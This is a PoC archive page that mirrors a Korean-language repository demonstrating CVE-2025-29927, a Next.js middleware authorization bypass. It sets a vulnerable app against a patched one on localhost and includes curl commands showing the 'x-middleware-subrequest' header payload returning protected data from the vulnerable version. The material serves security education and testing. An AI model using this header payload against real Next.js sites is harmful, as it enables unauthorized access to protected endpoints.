Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-29927 PoC — Authorization Bypass in Next.js Middleware

Source
Associated Vulnerability
Title:Authorization Bypass in Next.js Middleware (CVE-2025-29927)
Description:Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.
Description
vulnerable-nextjs-14-CVE-2025-29927
Readme
# Next.js CVE-2025-29927 미들웨어 취약점

이 레포지토리는 Next.js 15.2.3 버전과 Next.js 15.1.7 버전을 사용하여 CVE-2025-29927 미들웨어 취약점을 비교해볼 수 있는 모노레포 프로젝트입니다.

## 취약점 설명

CVE-2025-29927는 Next.js의 미들웨어에서 발견된 보안 취약점으로, x-middleware-subrequest 헤더를 사용하여 인증 미들웨어를 우회할 수 있는 문제입니다.
이 취약점은 다음 버전에서 영향을 받으며:

- Next.js 15.x < 15.2.3
- Next.js 14.x < 14.2.25
- Next.js 13.x < 13.5.9
  위 버전들은 각각 해당 패치 버전으로 업데이트하여 해결되었습니다.

## 실행 방법

1. 저장소를 클론합니다.
2. 의존성을 설치합니다. : `pnpm install`
3. 개발 서버를 실행합니다. : `pnpm dev`
4. 각 앱에 접속

- 패치된 버전 (15.2.3): http://localhost:3000
- 취약한 버전 (15.1.7): http://localhost:3001

5. 토큰 없이 /api/protected 엔드포인트에 접근하면 접근이 거부됩니다.

```
$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
```

6. 유효한 토큰을 제공하면 보호된 엔드포인트에 성공적으로 접근할 수 있습니다.

```
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
```

7. 취약점을 이용해 미들웨어를 우회합니다.

```
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}
```

## 프로젝트 구조

```
nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # 취약한 버전
│   └── next15_2_3/  # 패치된 버전
├── packages/
│   └── ui/          # 공유 UI 컴포넌트
└── README.md
```

## 참고링크

- [vercel블로그](https://vercel.com/blog/postmortem-on-next-js-middleware-bypass)
- [DevStefanCho유투브](https://www.youtube.com/watch?v=6PswGPu642Y&t=229s&ab_channel=DevStefanCho)
- https://hackyboiz.github.io/2025/03/27/bekim/2025-03-27/
- https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
- https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
- https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927
File Snapshot

[4.0K] /data/pocs/73f7adaff9ee5d418b9829482796f13850f34202 ├── [4.0K] apps │   ├── [4.0K] next15_1_7 │   │   ├── [4.0K] app │   │   │   ├── [4.0K] api │   │   │   │   └── [4.0K] protected │   │   │   │   └── [ 160] route.js │   │   │   ├── [ 25K] favicon.ico │   │   │   ├── [ 23] globals.css │   │   │   ├── [ 352] layout.tsx │   │   │   └── [2.1K] page.tsx │   │   ├── [ 136] eslint.config.js │   │   ├── [ 430] middleware.js │   │   ├── [ 92] next.config.js │   │   ├── [ 791] package.json │   │   ├── [ 51] postcss.config.mjs │   │   ├── [1.4K] README.md │   │   └── [ 351] tsconfig.json │   └── [4.0K] next15_2_4 │   ├── [4.0K] app │   │   ├── [4.0K] api │   │   │   └── [4.0K] protected │   │   │   └── [ 160] route.js │   │   ├── [ 25K] favicon.ico │   │   ├── [ 23] globals.css │   │   ├── [ 352] layout.tsx │   │   └── [2.1K] page.tsx │   ├── [ 136] eslint.config.js │   ├── [ 430] middleware.js │   ├── [ 92] next.config.js │   ├── [ 770] package.json │   ├── [ 51] postcss.config.mjs │   ├── [1.4K] README.md │   └── [ 304] tsconfig.json ├── [ 441] package.json ├── [4.0K] packages │   ├── [4.0K] eslint-config │   │   ├── [ 653] base.js │   │   ├── [1.3K] next.js │   │   ├── [ 634] package.json │   │   ├── [1.1K] react-internal.js │   │   └── [ 72] README.md │   ├── [4.0K] typescript-config │   │   ├── [ 500] base.json │   │   ├── [ 272] nextjs.json │   │   ├── [ 150] package.json │   │   └── [ 136] react-library.json │   └── [4.0K] ui │   ├── [ 131] eslint.config.mjs │   ├── [ 763] package.json │   ├── [ 81] postcss.config.mjs │   ├── [4.0K] src │   │   ├── [ 376] button.tsx │   │   ├── [ 502] card.tsx │   │   └── [ 215] code.tsx │   ├── [ 172] tsconfig.json │   └── [4.0K] turbo │   └── [4.0K] generators │   ├── [ 895] config.ts │   └── [4.0K] templates │   └── [ 192] component.hbs ├── [151K] pnpm-lock.yaml ├── [ 40] pnpm-workspace.yaml ├── [2.6K] README.md └── [ 412] turbo.json 17 directories, 47 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →